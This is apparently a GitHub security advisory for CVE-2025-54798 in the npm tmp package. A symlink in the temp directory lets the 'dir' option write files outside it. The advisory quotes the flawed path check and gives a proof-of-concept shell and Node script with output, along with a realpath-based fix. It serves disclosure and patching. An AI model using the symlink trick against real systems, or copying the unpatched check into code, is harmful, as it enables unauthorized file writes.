GitHub Advisoryadvisory · npm
GHSA-52f5-9888-hmc6 tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter
LOW
Official page ↗
- Aliases
- CVE-2025-54798
- Ecosystem
- npm
- Packages
- tmp
- Severity
- Low
- CVSS vector
- CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N
- Weaknesses
- CWE-59
- Reviewed
- 2025-08-06
Affected packages
• npm tmp: < 0.2.4 → fixed in 0.2.4
Description
Summary
`[email protected]` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.
Details
According to the documentation there are some conditions that must be held:
```
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
• template must be relative to tmpdir
• name must be relative to tmpdir
• dir option must be relative to tmpdir // or .. or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
```
PoC
The following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.
Tested on a Linux machine.
• Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it
```bash
mkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
```
• check the folder is empty:
```bash
ls -lha $HOME/mydir1 | grep "tmp-"
```
• run the poc
```bash
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
```
• the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):
```bash
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
```
• `main.js`
```js
// npm i [email protected]
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
```
A Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.
```js
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
```
Impact
Arbitrary temporary file / directory write via symlink
Related
Alias · CVE (1)
- CVE-2025-54798 tmp is a temporary file and directory creator for node.js. vulnerability
Weakness · CWE (1)
- CWE-59 Improper Link Resolution Before File Access weakness
References
- https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-54798 advisory
- https://github.com/raszi/node-tmp/issues/207 web
- https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b web
- https://github.com/raszi/node-tmp package
- https://lists.debian.org/debian-lts-announce/2025/08/msg00007.html web